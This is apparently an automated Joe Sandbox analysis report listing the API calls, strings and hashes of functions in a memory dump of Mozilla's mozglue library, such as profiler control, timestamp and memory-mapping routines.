free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

<none>, xrefs: 6C69DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

\ml, xrefs: 6C651F3E
MOZ_CRASH(), xrefs: 6C652000
Dml, xrefs: 6C651F32
Dml, xrefs: 6C651F56

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
